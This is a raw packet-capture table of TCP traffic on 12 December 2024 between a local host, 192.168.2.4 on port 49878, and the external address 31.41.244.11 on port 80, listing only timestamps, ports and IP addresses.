Dec 12, 2024 14:27:01.703103065 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.703130960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.703130960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.703332901 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.703352928 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.703515053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.703881979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.704303980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.704315901 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.704323053 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.705137014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.705148935 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.705172062 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.705172062 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.705172062 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.706058979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.706072092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.706110001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.706110001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.706110001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.706841946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.707039118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.707350969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.707350969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.707741976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.707765102 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.707806110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.707806110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.708497047 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.708508015 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.708544016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.708544016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.709312916 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.709423065 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.709475994 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.709475994 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.710104942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.710118055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.710751057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.710768938 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.710768938 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.710820913 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.710867882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.710911036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.711623907 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.711780071 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.711805105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.711884022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.712655067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.712877989 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.712893009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.712934017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.713341951 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.713479996 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.713504076 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.713519096 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.714319944 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.714332104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.714395046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.714395046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.715044022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.715236902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.715267897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.715267897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.716032982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.716044903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.716109991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.716109991 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.716837883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.716850042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.716912985 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.716912985 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.717638969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.717864990 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.717942953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.717942953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.718535900 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.718548059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.718575001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.718617916 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.719727993 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.719738960 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.719779968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.719779968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.720474005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.720541954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.720577002 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.720577002 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.721121073 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.721188068 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.721570969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.721677065 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.722040892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.722053051 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.722373009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.722373009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.722908020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.722923040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.722943068 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.723021030 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.723637104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.723699093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.723726034 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.723762989 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.724489927 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.724528074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.724607944 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.724771976 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.725374937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.725385904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.725423098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.725423098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.726248026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.726320028 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.726510048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.726639986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.727673054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.727686882 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.727732897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.727732897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.727961063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.727999926 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.728444099 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.728499889 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.728785992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.728815079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.728858948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.728858948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.729674101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.729686022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.729723930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.729723930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.730855942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.730868101 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.730912924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.730912924 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.731347084 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.731391907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.731393099 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.731703997 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.732265949 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.732285976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.732307911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.732413054 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.733165979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.733184099 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.733520031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.734119892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.734137058 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.734160900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.734160900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.734455109 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.734824896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.734882116 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.735133886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.735172987 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.735786915 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.735805035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.735841990 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.735841990 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.736660957 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.737325907 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.737360954 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.737360954 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.737394094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.737410069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.737478018 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.737478018 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.738400936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.738456964 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.738521099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.738521099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.739299059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.739353895 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.739397049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.739397049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.740081072 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.740098953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.740135908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.740135908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.740828991 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.740888119 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.741240978 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.741240978 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.741679907 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.742109060 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.742239952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.742239952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.742732048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.742748976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.742835999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.742835999 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.743383884 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.743421078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.743465900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.743465900 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.744610071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.744687080 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.744734049 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.744968891 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.745110989 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.745223045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.745239973 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.745634079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.746022940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.746422052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.746459961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.746459961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.746829987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.747260094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.747281075 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.747303009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.768752098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.894895077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.895004034 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.895015001 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.895076990 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.895324945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.895417929 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.895432949 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.895538092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.896219015 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.896276951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.896287918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.896342993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.897140026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.897151947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.897193909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.897231102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.897958994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.898075104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.898243904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.898340940 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.898797035 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.898849010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.898866892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.898948908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.899622917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.899667025 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.899796009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.899840117 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.900490046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.900608063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.900748968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.900820971 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.901654959 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.901784897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.901810884 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.901854992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.902276039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.902316093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.902370930 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.902451992 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.903178930 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.903245926 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.903445959 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.903520107 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.904023886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.904061079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.904155016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.904212952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.904859066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.904870987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.904901981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.905050039 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.905644894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.905689955 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.905718088 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.905760050 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.906527042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.906539917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.906605005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.907377005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.907474041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.907485008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.907531977 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.908199072 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.908236027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.908251047 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.908404112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.909106016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.909348011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.909358025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.909420013 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.910001993 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.910069942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.910204887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.910342932 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.910830975 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.910842896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.910890102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.910890102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.911667109 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.911679983 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.912267923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.912267923 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.912483931 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.912538052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.913350105 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.913362026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.913444996 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.913444996 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.913451910 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.913499117 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.914218903 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.914259911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.914401054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.914752007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.915160894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.915173054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.915206909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.915282011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.916117907 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.916130066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.916172981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.916805029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.917316914 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.917335033 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.917385101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.917721033 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.917732954 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.917772055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.917772055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.918663025 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.918674946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.918730974 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.918730974 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.919353962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.919389009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.920233965 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.920294046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.920305967 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.920312881 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.920345068 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.920392036 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.921060085 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.921101093 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.921283960 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.921403885 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.921906948 CET	80	49878	31.41.244.11	192.168.2.4
